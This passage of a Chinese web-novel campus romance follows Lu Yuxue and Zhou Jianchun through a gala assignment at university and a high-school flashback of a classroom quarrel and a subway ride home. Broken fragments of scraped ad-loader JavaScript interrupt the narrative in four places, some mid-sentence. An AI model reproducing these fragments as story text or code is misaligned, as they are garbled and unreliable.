啊?咱俩什么关系自己心里不清楚,加了以后发朋友圈还得专门屏蔽,多麻烦。 “额,没必要吧,我们都两清了。” 卢郁雪说得很不留情面,楼梯口的风本就阴冷又带着教室透出来的冷气,卢郁雪肩上背着书包,没扎进去的碎头发上下飘动,偶尔沾到脖颈卢郁雪总要担心是不是小飞虫。 他垂头不知在想什么,直到卢郁雪的身边过了两三个人,周见春才抬起来对卢郁雪说:“也是,那,再见。” 周见春也伸手和卢郁雪挥了挥,但她没敢应,谁知道以后会不会一语成谶,卢郁雪选了最靠谱的回答。 “拜拜。” 她高兴地差点在楼梯上摔倒,太棒了,终于摆脱周见春,她卢郁雪又要开启新生活了。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 室友叶敏单手倚着栏杆,一脸坏笑地看着往上爬的卢郁雪,下巴一扬说道:“怎么样啊,早餐吃好没?” “你还好意思说,我,我。” 即将脱口而出的话语第一次被理性遏制住,卢郁雪踮着脚尖下了几阶楼梯扶着银白色的栏杆往下看。 一楼的楼梯口没有人,周见春不在。 卢郁雪安心地爬回二楼,搂着叶敏的肩头控诉道:“你都不知道我有多尴尬,尴尬死我了。我跟你说,你以后千万不要把我联系方式再随便给别人了,万一又是周见春这种人怎么办。” 她喋喋不休地控诉着,叶敏听着一头雾水,社长找她时候,说的是今年新生晚会要对接学生会宣传部人员,她忙着打游戏懒得找部长联系方式,直接就把干事卢郁雪推了过去。 现在看,事情好像和她想得不一样。 “哦对了,你那个社长也不是什么好人,少和他来往,和周见春玩到一起的能有什么好人。” “我社长就是周见春啊。” 上课铃不合时宜地响起,卢郁雪将自己的手臂从叶敏肩上移下来,大脑似乎卡顿了一下,刚刚叶敏说的话接收了但没有处理。 卢郁雪努力屏蔽上课铃的干扰跟在叶敏后面走进教室,认真回想那句话的份量。 不是,叶敏社长是周见春,所以周见春可能真的有任务要和自己对接,但是他没说,自己也没问? 叶敏选的位子靠后,卢郁雪挑准时机给叶敏发了信息。 【你什么社团来着?】 【朗诵】 【他和你说的对接工作是迎新晚会吗】 【是啊】 哈?人家舞蹈社魔术社还能去表演个节目,你们朗诵社往迎新晚会挤什么,还真打算诗朗诵不是。 卢郁雪不理解,但重要的不是他们朗诵社怎么过的申报环节,而是对接这事,该不该轮到自己头上。 学生会的工作群,卢郁雪一贯都是免打扰,她是宣传部,又分在摄影组,平时有活动才会叫她,清闲的很。 最近最大的活动就是新生军训结束后的迎新晚会,卢郁雪在群里挨个扒着通知,统计的社团名单里,确实有朗诵,负责人周见春。 后面对接人,写的是文学院学生会宣传部,没指定个人。卢郁雪又扒了自己和部长的聊天记录,还停留在上个学期。 安心了,宣传部又不止她一个人,上头还有部长副部长,周见春应该联系他们才对。 没错,卢郁雪构建了完美的逻辑闭环,她安心地放下手机准备听课,一个不知道什么时候加的群突然蹦出一条@全体成员。 卢郁雪点进去,是迎新工作人员的汇总,一张巨大的excle表格,根据表格名城汇总各个部门社团参与人员。 沿着下方一直向右滑动,卢郁雪看见了朗诵的社团,叶敏和周见春的名字都在其中。 她点开群成员按专业首字母找到了周见春实名的账号,所以,他和自己在一个群里但自己并不知道。 下一秒,手机上方弹出一条横幅。 是一条好友申请。 由江林大学2024级迎新晚会群聊添加,能看见对方在群里中的昵称:软工231周见春。 【对接拍摄】 完了,两大社交软件账号,都被对方知道了。 靠窗一侧的帘子没有拉,照得幕布白花花一片,卢郁雪熄灭手机屏幕单手撑脸对着看不清字迹的PPT发呆。 5. 我怎么可能暗恋他 阶梯教室的最后一排不坐人,周见春的室友占的是倒数第五排的座位,因为后三排一般都是老师重点关注对象。 早八上概率论,也实在没意思。对着哈欠连天的学生,老师略有无奈决定挑选一个幸运儿杀鸡儆猴。 这个专业本就男生多又都喜欢往后面钻,低头的太多,等啃着包子的室友反应过来用胳膊肘捣捣旁边低头的人,概率论老师的目光已经锁定周见春。 “倒数第五排,靠走道那个黑衣服男生,对,就是你。” 他不明所以地起立,还未编辑好的好友申请在慌乱间发到了卢郁雪那边,瞌睡的吃早餐的玩手机的无不睁大眼睛看向这位幸运儿。 “我刚刚说什么?” 啃着包子的室友默默把包子放到了桌面下,低头死死地盯着书本,又不放心地抬眼观察概率论老师动向,才小幅度地对周见春摇摇头。 爱莫能助。 概率论老师板着脸,威严地扫视神色各异的脸庞,目的已经达到,至于叫起来的这个男生会说什么,并不重要。 “你说,我们这门课非常重要,期末挂科补考会更难。” 周见春是在看手机,但耳朵也在听课,如果在讲课,他可能还真的复述不出来,但很巧,说的是这种常听的话。 未熄屏的手机还搁在桌下,周见春忘了自己有没有静音,不过也不重要,卢郁雪应该不会那么快同意他的好友申请。 走了几步的概率论老师在第一个阶梯处停下,退了几步回到第一排的桌旁才开口:“还不错啊,认真听课了,坐下吧。” 随着概率论老师的手掌下移,周见春压着板凳坐下去,惊慌的室友继续啃起包子,手机震动的声响沿着木板传到这一排的所有座位上。 他假装若无其事地拿起放到摊开的书页中间查看消息,顺手关了震动。 【你们已成功添加为好友,现在可以开始聊天了】 卢郁雪听了一会儿课,还是觉得要勇敢面对现实,趁着老师喝水的间隙,她快速解开锁屏密码点了同意,随后将手机熄屏不再理会。 周见春应该也在上课,上课不看手机,这很合理,她还是得缓缓才能接受他们加上好友的事实。 话说摄影组也不止她一个人,怎么偏偏对接她,说好的两清呢,人品堪忧啊。 以往上早八都会困,今天倒是不困,一瓶牛奶下肚,撑得卢郁雪九点多下课还觉得肚子涨。 好友申请是周见春发的,说好的对接拍摄,课间也不发消息。 卢郁雪才不会主动发消息呢。 铃声一响,桌面的书本笔袋一股脑全部扔进书包里,她催促着叶敏:“快快快,去占座位。” 下节水课,谁不坐后排谁傻子。 两人抓着书包急急冲到一楼阶梯教室,以往空荡的门口聚集了好些人。仅容一人通行的前后门像是藏了无数人,等了许久也没能进去。 “不是,以前这间教室没人啊,怎么突然有人上课了。” 说来也巧,第一周周见春的概率论老师生病没来,第二周教室被别的学院开年级大会占了只好挪到三楼,第三周中秋调休卢郁雪的水课老师答应挪到以后再补,她也就没来上课。 于是就成了现在这个局面。 “烦死了,白瞎我窜得那么快。” 门上玻璃擦得很干净,卢郁雪倚墙盯了一会儿发现出来的都是男生。 不好的预感在她心头升起,这个天气,男生多的教室味道一般都不好闻。 正想把这个发现和叶敏共享的卢郁雪抬起的手还没落在叶敏肩膀上,一张熟悉的面孔出现在玻璃后。 碎发过眉,神情淡漠。直视前方的他像是被什么绊倒身子明显不稳,他疑惑地低头俯身拾起一把伞。 叶敏轻声和他问了好,周见春只是点点头,指着伞问她:“这是你的吗?” 为了不挡住身后出来的同学,周见春往外走了几步看清了门后偷笑的人。 教学楼的走道并没有光透进来,卢郁雪出门也没有化妆,但只是站在那,就让人觉得漂亮,鲜活的漂亮,能够轻而易举地调动周见春的所有情绪。 探头探脑的卢郁雪也看见了周见春,还有手里的那把伞。 米白色的遮阳伞不知道什么时候倒下,被踩得满是脚印不说,造型也有点奇怪,支撑伞布的延伸架突兀地暴露在外,直挺挺的,又可怜又好笑。 “这是,卢郁雪的伞。”叶敏心虚地指了指站在后面的卢郁雪。 周见春还没来得及仔细查看,卢郁雪就走上前夺回了自己的伞,他没有防备人还有点懵。 卢郁雪掸了掸伞面的脚印,发现只是变浅一点,不能掸干净,想撑开看看延伸架怎么回事,周见春却先一步按住了她向上移的滑动环。 今天晴空万里艳阳高照,他的指尖还是冷冷的,怕不是在教室空调吹多了,卢郁雪人倒是有点热,被他这样一搞,说话也不流利起来。 “你,你干嘛呢?”她瞪一眼周见春,使了力气把伞移回自己手里。 “我赔你吧,我刚刚也踩到了。” 出来的人走得差不多,门口聚集的学生开始进去占座,叶敏拿过她放在地上的书包给卢郁雪比了个手势转身上了台阶。 周见春划开手机屏幕点开收付款,骤然提升的亮度将花花绿绿的屏幕映在周见春眸底,纷繁杂乱,可他却直勾勾盯着自己。 “和你没关系。” 卢郁雪是讨厌周见春,但也没有如此是非不分,伞上的脚印很明显已经倒地很久,周见春那一脚,多一个不多少一个不少的。 只是可怜了她的伞,幸好是直播间特价抢的,也没有多心疼。 不过周见春这人有点奇怪啊,绊到自己电脑主机数据线不好好道歉,现在不是自己的锅又主动揽过去。 “那我给你道个歉。” 他摁灭手机屏幕,深吸一口气似乎还真的准备鞠个躬,卢郁雪赶紧伸手扶住他。 已经垂下头的周见春此时和卢郁雪之间的距离不过半尺,女生只稍移动一下头发就会蹭到他的鼻尖,轻轻柔柔又痒痒的。 本就局促的卢郁雪不由得涨红了脸,夏天的衣服实在太薄了,即便周见春穿了外套,一上手还是跟没穿一样。 周见春的胳膊硬硬的,和握叶敏的胳膊完全不一样的感觉,隔着衣服也能感受对方的温度,似乎还有脉搏在跳。 但卢郁雪太过慌乱,收回手的时候怀疑是不是自己的心跳太快才扰乱了她的感官。 “客气客气,我回去用湿巾擦一下就好了。” 她觉得自己就是有毛病,明明说好了不喜欢周见春,但是一见到他心里还是会起波澜,特别是近距离的交谈,起伏的情绪让她自己都无法在假装不在意。 都是年少深情惹的祸,这么一想,还是周见春对不起她。 卢郁雪手忙脚乱地收着折叠伞,但延伸架没有收回去,她怎么努力拉扯绷带也黏不上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 魔术贴。 呵呵,真是有点尴尬,她尬笑着把伞背在身后说道:“我先上课了,这个和你没关系,不用道歉,真的不用。” 她拔腿连上三个台阶进了阶梯教室,叶敏占的位置实在显眼,后排靠过道还有拼命挥手的叶敏。 “他说赔你伞了?” “没有啊,这伞又不是他弄坏的,怪我倒霉吧。” 卢郁雪叹了口气从书包里挨个掏出书本笔袋,摊开书页放好手机,准备水课。 “那你干嘛对他一副避之不及的样子,跟老鼠见了猫一样,你暗恋他啊。” “暗恋,切,笑话,我怎么可能暗恋他,想多了你。” “也是,你们不就昨天计算机考试刚认识,一见钟情这事确实概率太小了。” 卢郁雪嘴硬地反驳叶敏,摊开的书页正好翻到“五位一体”和“四个方面”战略目标。 一模一样的字体,一模一样的内容,卢郁雪盯着排版精美的课本不禁有些恍惚,自己高中好像也学过一样的知识点,只是那时,并没有用心去记。 头顶的灯管直直照下来,卢郁雪看得久了,觉得这些字都有点不真切,像是在晃,晃着晃着,她的思绪又回到那年栾树结果的季节。 “醒醒,醒醒,最后一排那几个男生,这都马上下课吃晚饭了,还睡呢,午休没休好吗?” 讲台上的政治老师用力拍了拍黑板,用力不均的粉笔字哗哗掉着碎屑,卢郁雪坐在前面被呛地掩住口鼻也顺着大部分人的视线看去。 早已睡懵的男生这才抬起头,政治老师恨铁不成钢地开口:“别以为你们实验班合格考就一定过,不认真学照样不及格,都给我打起精神来。” 话音刚落,铃声响起,教室里满是蠢蠢欲动的学生,桌椅板凳晃出的声响咣当咣当,政治老师夹起书本摆摆手说:“下课下课。” “耶斯,走,体育课去。” 宋芷兰做了个拉伸动作拍拍同桌的肩膀开心地招呼着,卢郁雪摇摇头说道:“我还得发午练呢,上节课去老师办公室没来得及发。” “没事没事,我帮你。” “好。” 卢郁雪开心地点点头,一人一半将卷子发了下去。因为是体育课教室的人早已跑空,两边的窗户都没有关,窗帘被风卷到窗外垂在墙壁。 卢郁雪用桌面的书本笔袋压好卷子才离开。 过了一节课,情绪也早已消散,她的校服口袋还装着那块创可贴,但看着小小伤口和粉红色的嫩肉,又觉得没有必要。 好像也没有那么疼了。 同桌宋芷兰和卢郁雪的关系不错,问了一些办公室的事,她如实说了。可关于创可贴的事,她没有提,含糊其辞地把手指的事糊弄过去。 “哎,我跟你说,你知道不,我们楼上实验班有个帅哥,他们班上节体育课,运气好的话,说不定能遇到。” “帅哥?谁啊?” 卢郁雪扶着栏杆准备下楼,平台处拐上来一个人,他站在低处,身高的优势荡然无存,沾了汗水的头发被拨开露出饱满的额头,少年的朝气无处可藏。 旁边人捣了捣卢郁雪的胳膊压低声音说:“就是他,就是他。” 骤然变大的风不知道是将她们的窃窃私语冲散,还是带到他的耳边。 卢郁雪的一只手插在口袋,那块创可贴已经被她摸得很软,现在,更是柔软得像刚弹出来的棉花,也如她的心一般,轻飘飘的不知道去了哪里。 6. 动手 男生瞥了她们一眼很快低下头一言不发地往上走,卢郁雪站在楼梯左边扶手,宋芷兰摸着右侧的墙壁,男生从她们中间穿过。 踩到同一个台阶的瞬间,卢郁雪明显能够感受到自己的心好像停滞一拍。 她想把手从口袋里抽出来拉住他的衣袖跟他说声谢谢,可什么也没有发生,她只是站着,连视线也没来得及跟上男生的背影。 再反应过来时,男生已经到了她们上面的楼梯,卢郁雪只能垂下头颅一步一台阶地下楼。 宋芷兰从另一边靠上来挤眉弄眼地问:“怎么样,是不是很帅。” “还行吧。”她这样答着,脑海里却反复回忆男生抬眼的那一瞬间,好像在看她,又好像不是。 “那个人叫什么,我怎么没见过?” “周见春。” “周见春?” 宋芷兰同情地拍了拍卢郁雪的肩膀,指了指一楼大厅被风吹得泛旧的年级大榜说:“毕竟人家是挂在前二百的人,我们两个都不和人家在一张纸。” 月考完的年级大榜还没有张贴,现在挂的是上学期期末的年级大榜。听这话,卢郁雪可就不乐意了。 实验班头顶还有特优班,人外有人天外有天,他周见春也没有多厉害,怎么能妄自菲薄。 “区区前二百而已,我下次也能考进去。”她说得自信,可目光却停留在泛旧的年级大榜上。四角粘得不紧,风一吹就会鼓起,原本隔着好几列距离的名单陡然靠近。 宋芷兰环着卢郁雪的胳膊往走廊的尽头走,终于挨不住的年级大榜一角被风吹开,一下又一下地拍打着第一张大榜被风鼓起的地方。 上完体育课就是晚饭时间,基本打铃前十分钟,操场上人就跑得差不多。 卢郁雪和宋芷兰吃到了期盼已久的米线,两人挽着胳膊回去的一路上都在说说笑笑。 先进门的卢郁雪还在说着话,一转头看到自己的后桌换了人。 男生低头理着书本听到声音抬头看清来人,故意将收拾的动作搞得格外夸张,书本像是砸在桌面,震起的风吹得试卷哗啦啦。 卢郁雪和班内大部分人的交流仅限于收作业,男生更是少之又少,眼前的男生很明显不乐意搬到她的后面坐,理着书本发泄情绪呢。 不用想,这肯定是老张的手笔。这个男生卢郁雪虽然不熟,但理科成绩相当出色,而自己这次月考刚好物化都没及格。 她不想起冲突,走回自己的位置拉开椅子准备坐下,可能是进来时候碰到了桌角,搁在桌面的黑笔骨碌碌滚下去。 卢郁雪蹲下去捡,后桌的男生刚好拖动桌子和旁边人对齐无意间夹到了卢郁雪的头发,她毫不知情地起身,起到一半头发拉扯头皮才觉得疼。 后桌的男生冷笑一声,挪开桌子腾出空隙,卢郁雪什么话也没说,只是用指腹轻轻揉着头皮拉扯那块。 宋芷兰看在眼里,转身问道:“喂,你压到人家头发不能道个歉吗?” “道歉?她又没让我道歉?喂,卢郁雪,你要我道歉吗?” 蒋冠华像是笃定卢郁雪会了事,高高在上地问她。 “要。”她放下还在揉头皮的手,认真点点头说道。 男生的面色瞬间不好看起来,他的语气凌厉几分,“有些人啊,也就只能在这点上较真了,毕竟脑子笨,周围就是坐着高考出卷人也没有用。” 他一边叹气,一边理着自己的试卷,那是过去一个月的物理午练,他上上下下都在桌面摞了两下,每一次清脆的声响都像是在打卢郁雪的脸。 “就事论事罢了,你不愿意就算了。” 卢郁雪听见了他的讽刺,但没理会,毕竟他的座位是老张为自己调的,他埋怨自己也是情有可原。 “你不想坐这就和班主任说,自己不敢说又在这阴阳人什么意思啊。”宋芷兰没好气地瞪着蒋冠华,还不忘给卢郁雪第一个安慰的眼神。 她冲宋芷兰温和地笑笑,挪开椅子准备坐下,蒋冠华却没有放过她。 “哎,卢郁雪,要我说,你家这么有关系,干嘛还参加高考啊,与其在这调好学生坐你周围,不如出去镀个金。你这么烂的成绩,怎么进的十九中,不会也是走后门吧。” 分班半年以来,几乎每个月卢郁雪的周围都在换人,都是常驻班级前十的好学生。不过卢郁雪也没有麻烦他们什么,倒是过得相安无事。 可蒋冠华不是那种世界纷纷扰扰与我无关的人,他讨厌成绩差还走关系的人,比如卢郁雪,每次考试都是班里三十多名,也不知道怎么进的实验班。 晚自习快要开始,班内陆陆续续进了些人,卢郁雪坐在第一排本就显眼,蒋冠华说话的嗓门又大,不少人的目光都被吸引过来。 坐在窗边的汪熙听到动静快步走了过来,伸手拦在卢郁雪和蒋冠华中间,冷冷地开口:“够了,马上晚读,有什么事下课去班主任那说。” 汪熙关切地看向卢郁雪,轻轻拍拍她的肩膀,卢郁雪用力咬着嘴唇,垂下的手扣着桌子上的木屑,深吸一口气努力平稳情绪。 见两人都没有再交谈的趋势,汪熙才转身离开,她刚走回座位,就听到前面一阵喧哗。 宋芷兰大叫一声伸手拦住举着拳头的蒋冠华,因为他前倾的动作桌子歪到了过道,刚刚理好放在桌面的试卷杂乱地飘落在地。 “卢郁雪你有病啊!你是不是以为你是女的我就不敢动你?” “你来啊,来来来,我就站在这。” 她也不知道自己哪里来的胆子,蒋冠华个子高出自己一个头,一个巴掌下去她脸都得肿。 可她就是这样梗着脖子回着蒋冠华的话,她的声音颤抖眼底也控制不住地蒙上一层雾。 不能哭,不能哭,哭了就会被说矫情,她会因为这个被认为是性别占了便宜。攥起的拳头掌心被手指盖死死抵着,很疼,可疼就对了,疼才能压住想哭的冲动。 蒋冠华坐在卢郁雪正后面,宋芷兰就是使了全身力气也拦不住一个一米八男生的手劲。 “卢郁雪,卢郁雪,你别说了。” 她急急地想绕到卢郁雪这边,汪熙也快步小跑过来,看热闹的同学上前拉着蒋冠华,即将落下的拳头被班主任一声呵斥悬在半空。 “干什么呢!蒋冠华你干嘛呢,预备铃响了听不到吗?都给我回去晚读,卢郁雪蒋冠华你们两个出来。” 课本用力地拍在黑板上,老张把书放到讲台上,见到蒋冠华还堵在卢郁雪过道前,不耐烦地吼道:“我说出来听不见吗,要我说几遍?” 蒋冠华理了理被扯到肩膀的校服,满是戾气的神情散去,一脸不服气地走了出去。 宋芷兰想安慰几句卢郁雪,却被班主任死死盯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着,只能咿咿呀呀地念几句古诗,看着卢郁雪一步步走到外面。 “把门关上。” 晚秋的霞光灿烂,斜斜地打在刷了白漆的木门上,静谧地像是既成的画卷。 卢郁雪听话地照做,和蒋冠华并列站在老张面前,一个垂头丧气,一个昂头挺胸。 “谁先说?” 他打量两个人的脸色,点了卢郁雪的名字。 其实这话谁说都一样,毕竟班里那么多同学,而且教室里360度无死角监控,收音设备也一直开着。 卢郁雪从吃完饭回来进教室,到两个人被叫住全都一五一十地复述一遍。 班主任老张听完又问蒋冠华:“她说得对吗,你还有什么补充没有。” 比班主任还高的男生瞥了一眼卢郁雪,见她神色无异附和道:“没有。” 接着又是大差不差的教育方式,每个人都训一遍又每个人都安慰一遍,最后互相低头道个歉就当握手言和。 卢郁雪照做不误,倒是蒋冠华好像还是很不服气。 “晚自习你就搬回去吧,让那个谁坐回来。” 他一时没想起卢郁雪后桌的名字,还是卢郁雪开口提醒了他。 “行,先进去吧,再有不合适的和我说。” 朗朗读书声即便关着门窗也遮掩不住,卢郁雪像是提线木偶一样站着挨训,周遭的一切声响似乎都在很遥远的地方。 她跟在蒋冠华身后也要走却被老张叫住:“卢郁雪,你留下。” 女生听话地退回来,站在班主任面前,平静又呆滞,和刚刚梗着脖子的似乎不是一个人。 “这件事我不和你妈说,能告诉我你为什么动手吗?且不论这事违不违反校纪,你一个女生怎么能和男生动手,他那么高的个子要是失手把你推到墙角怎么办,你不知道要先保护自己吗?” 这是第一次老张用这样的语气和自己说话,没有阴阳怪气也没有公事公办的平和,似乎真的在关心她,担心她会受伤。 可关心学生,似乎也是老师该做的,毕竟学生在学校出事,班主任要负责任。想到这,到了嘴边的话卢郁雪又咽了回去。 “他说话难听,我生气。” 这是很情绪化的回答,但似乎也很符合这个年纪的女生,老张笑了笑说道:“行,你生气也正常,回去吧,下次生气记得和我说,不要和别人动手。” 卢郁雪吸吸鼻子点头,回到教室就抽了几张纸,蒋冠华把桌子往后拉了不止一点,空出的位置都够宋芷兰出去了。 不过这对他也没影响,蒋冠华个子高,桌子下面也放不下腿,位子大不大他腿都是要支在外面的。 不知是换季保暖不到位,还是刚刚的情绪没下去,卢郁雪竟然一个晚上都在吸鼻子,整整一包的抽纸空了大半。 她的鼻头也红红的,像是冬天被冷风吹得一样。 不行,回去得带个乳霜纸,再这样擦下去,她鼻子要红成小丑了。 一整个晚自习,卢郁雪和宋芷兰都没有回头,像是赌气一般,等到九点四十下课铃响起,她才慢吞吞地开始收拾书包。 宋芷兰今天要回去洗头就没有等卢郁雪,她就更不急了,慢悠悠地起身背上书包。 出去的过道被人挡住,蒋冠华扬着下巴问她。 “喂,就这点事你哭一晚上啊。” 7. 传闻的可靠性 卢郁雪疑惑地偏头看向自己的后座,上面堆的还是蒋冠华的书本,他的字迹卢郁雪认得,以前不熟的时候借鉴过作业。 “你不是换回去了吗?” 蒋冠华有些恼火卢郁雪没有直面回答他的问题,但还是顺着她的话说下去:“搬来搬去太麻烦,等明天大课间再说吧。” “哦。” 卢郁雪见蒋冠华挡住自己面前的走道,转身向宋芷兰那边走去。蒋冠华背着包堵在讲台那里,但卢郁雪径直走了后门。 他气愤地从前门追上去再次拦住卢郁雪,“你还没回答我问题呢?” 女生的个子小,被他的身影遮住大半,教室的灯还没有关,卢郁雪就在这半明半暗的光线里不卑不亢地开口:“你也没跟我道歉呢。” 蒋冠华想问的就是这个,为什么在班主任面前没提那句让她动手的话,如果提了,恐怕当天他就要被叫家长。 当时听完他就有点不解,可卢郁雪的面上没有一点情绪,他以为自己声音小卢郁雪没听见,也就应下。现在想想,卢郁雪是刻意帮他瞒下来的。 他还想追问什么,卢郁雪已经低着身子从他胳膊下面钻了出去。 卢郁雪今天收拾得慢,从教学楼往外走的林荫道都比以往要安静。绰绰约约的树影在她眼前晃动,不安分的情绪也渐渐平和。 其实蒋冠华说得没错,她确实靠家里占了不少便宜,即便这并非她所愿,但确确实实受益的人是她。 她把笔袋扔到蒋冠华脸上,不是因为生气被人骂走后门,而是因为自己的不争气害得家人被指点。 在老张面前,她没提那句话,那句郁青听了能直接杀进办公室的话。 她也曾怀疑自己是不是基因突变,没能继承父母的聪明脑子,但就升学轨迹而言,都是她实打实考上的好学校。 可能,十九中还是大神太多了。 之前宋芷兰骑车还能把自己送到地铁口,现在只能靠自己走了。 她好不容易挨到地铁口,一摸口袋,卡没带。又只好去自动售票机排队买票,前面排队的人大多是十九中的学生,都穿着校服。 终于快要到她,但前面一个人捣鼓了好久也不走。 她觉得是自己今天运气不好,便留心旁边的售票机会不会空出来。 见前面的人还是没有走的架势,卢郁雪正准备换一个队伍排,一直霸占售票机的人忽然往旁边移开。 她看清了男生的面容,是周见春。 他的手里捏着一张五元的纸币,上面满是折痕,售票机纸币本就不好进,这种旧得发软的更是不行。 如果是卢郁雪遇到这种事可能在心里已经开始骂人了,但周见春很平静,像是对这种倒霉事习以为常。 “我有硬币。” 卢郁雪走上前从口袋里掏出五个硬币递到周见春眼前,明亮的灯光折射在他眼中,周见春循声抬头望见红着鼻头的卢郁雪。 她的头发早已被风吹乱,校服也穿得随意,浑身上下满是疲惫,却还是真诚地往前递了递自己手中的硬币。 “你不要?不要那你去人工售票吧。” 那么吵的地铁口,还加一层玻璃,带着口罩说话都听不清。不过人家要是想去,卢郁雪也没有理由拦着。 摊开的手掌往回一缩,刚刚攥成拳周见春开口:“我要,谢谢。” 他说话语调平平,没有卢郁雪想象中冷漠,也没有想象中温情,就是平平淡淡的一句话。 “哦,那给你吧。” 她摊开手掌微微侧倾,硬币就落到了周见春的掌心。 那张皱巴巴的五元纸币递了过来,卢郁雪没接,周见春以为她嫌旧,连忙解释道:“我明天拿新的给你。” “啊?”卢郁雪挠挠头不好意思地开口:“我不是这个意思,今天那个创可贴,谢谢你啊。” 周见春这才观察到卢郁雪的手上没有缠着创可贴,注意到他视线的卢郁雪解释道:“哦,冲冲水就好了,我怕浪费就没用。” 脚下有列车轰隆隆地开过,气氛似乎有点僵住,他的校服领口解开一个口子,卢郁雪能清晰地看见血管和一点点锁骨。 意识到自己这样直勾勾盯着别人很不礼貌的卢郁雪不自然地偏过头,胡乱地瞥着四周。 一直垂在身侧的左手突然多了什么东西,卢郁雪抬手才发现是五元纸币。 她错愕地抬头,周见春却不咸不淡地说:“那个创可贴,不值钱。” 地铁口又下来一波人,应该是高三年级下了自习,卢郁雪见走到闸机口还有一段距离,于是站在周见春身旁等他买完票。 她无意窥探对方的家庭住址,可周见春主动问她:“你去哪?” “嘉合花苑。” 说完卢郁雪才意识到不该对陌生人说自己家庭住址,即便是周见春。 男生的手一顿,卢郁雪往前凑了一点才看清不反光的电子屏幕,他自己的票还没买完,目的地也是嘉合花苑。 上体育课的时候,宋芷兰和自己谈了一点周见春的事,因为他成绩好为人也低调,又住在市中心的嘉合花苑,家境好的流言就这样无头无尾地散播开来。 可卢郁雪见过周见春在办公室递贫困证明,这样的传言自是不信。 而且她也住在嘉合花苑,怎么没人叫她大小姐呢。 嘉合花苑是市中心不假,但这一片并不繁华,是老城区。住在这片的,基本二十年前就住在这。卢郁雪现在住的房子也是父母结婚时买的,如果不是她考入十九中,应该会一直出租。 当然她还没有一个人生活的能力,卢远峰在医院上班,距离嘉合花苑也就一条街,卢郁雪考进十九中,正好全了他长期住宿舍不能回家的痛苦。轮休的时候也会照顾卢郁雪,但大多数时候,都是她自力更生。 “你以前就住这吗?我怎么从来没有见过你?” 周见春将手里的地铁票分一张给卢郁雪,把多出来的一块钱塞进校服口袋说:“不是。” 嗯?她还没买票啊?周见春请她的,人这么好。 卢郁雪上下翻看着地铁票,开心地揣进口袋,谢谢的话还没出口,再抬眼,周见春已经混入了人流。 她急忙刷票跟上去,方向各异的人群熙熙攘攘,但目的地相同,那还不好找。不出意外,她很快锁定一个瘦高的背影。 钻着人群的空隙,卢郁雪三两步跟到了周见春身后,可他却突然停下,害得自己差点撞上他的书包。 “看路。”像是知道她在身后,周见春等面前的小朋友走过去才转头对她说道。 奇怪,怎么翻脸不认人呢,刚刚态度还很好。 卢郁雪双手握着书包带,跟在他的身侧,歪着头问道:“那你什么时候搬来的,你住哪栋啊,我们说不定是邻居呢。” 他的步子大,卢郁雪想跟上还要小跑,还没跑几步,周见春又停了下来。 “你想走电梯还是楼梯?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她的注意力全部在周见春身上,这才发现要下去了。 “电梯电梯。” 上一天课,累都累死了,能轻松一点是一点。 周见春向扶梯的方向走去,卢郁雪也跟着身后,不过这次不是站在他的身侧,她担心有人赶时间,留出了空隙。 距离下一列车到达还有两分钟,卢郁雪乖巧地站着,却还是忍不住开口问他,她有太多想知道的事情了。 “你高一是哪个班的呀?” “一班。” 怪不得,自己在十六班,一个四楼应该一楼,能遇见的话,应该也是升旗这种集体活动。 “哦对了,我还没告诉你我叫什么呢。我叫卢郁雪,十一班的,就在你楼下。” 说了半天,卢郁雪才想起来对方根本不知道自己是谁,漆黑的隧道被光照亮,轰隆隆的声响逐渐靠近。 上下客的一米黄线外站满了人,周见春嗯了一声也向前两步走到队伍的后面。 她抬头看见电子屏幕上的列车信息变为即将到站,而周见春依旧面无表情地等着车,卢郁雪有些失望,攒了一肚子的话也只能咽下去。 自己好像,话太多了,他应该觉得自己太吵了。 卢郁雪有点懊悔,她应该少说话多多观察才是,怎么能因为一块创可贴就开始乱了边界感,人家和自己还根本不认识呢。 十九中所在的地铁线一路都是重要地标,没有空座再正常不过。 卢郁雪握住正对侧门的铁杆,周见春就在她旁边抓着吊环,未启动的列车还在上人,卢郁雪和周见春的中间挤进了几个人。 车灯闪烁,车门关闭,一阵晃动,列车哼哧哼哧地向前开着。中英文的语音播报完,卢郁雪才觉得清净一点。 列车呼啸着前进,车窗是一面不太清晰的镜子,能照见自己也能照见别人。卢郁雪无意间抬头发现不知何时周见春换到了自己旁边的吊环,只是他偏头看着车厢的连接处。 宋芷兰的眼光很好,他长得确实好看。只是少了一点少年人该有的生气,就好像不是在感受生活,而是观察生活。 看向外界的每一眼,都像是在分析,而不是切身体会。只可惜,卢郁雪这个人没什么城府,被看透也是轻而易举的事情。 人被注视好像真的有感觉,卢郁雪在镜中和周见春的目光撞个满怀,她仓促低头,发誓在下车前都不会再抬头了。 嘉合花苑这一站的人很多,本就在医院旁边,周围又都是学校,租房子陪读的家长也不在少数。 刷出闸机口的时候,卢郁雪把地铁票投进回收箱。她还有点不舍,但是不投又没法出去,她可不想跟在别人身后被夹住疼得嗷嗷叫。 这一站有四个地铁口,AB口分别通向嘉合花苑的南北两个大门,虽说走哪都一样回家,但还是有远近之分的。 卢郁雪不知道周见春走哪个口,在分开之前她追上周见春,踮起脚尖拍了拍他的肩膀小心地开口:“周见春,你跟我走A口吧,那条路路灯不太亮。” 话没有说满,但这话的意思很明确,如果周见春拒绝她,也没有什么,到处都是摄像头,她不怕。 怎么能拒绝她呢?她一个十六岁的女高中生一个人十点多钟走在大马路上害怕也很正常吧。 传闻周见春不近人情,不仅拒绝女生表白,还拒绝地很决绝,文科班的女生哭了好几天呢。 今天,就让她卢郁雪亲自看看,传闻到底可不可靠。 8. 欧亨利结尾 同一班车出来的人走得差不多,闸机口零零散散地会走出来一两个人。 周见春沉默了一会儿好像真的在思考,卢郁雪眼巴巴看着他。 少年垂下的眼眸再次盈满光亮,他抬手指向A口通道,认真地对卢郁雪说:“上去有个便利店,你可以去那里看看有没有手电筒。” 还真是好建议啊,怎么不说下一站有超市呢。 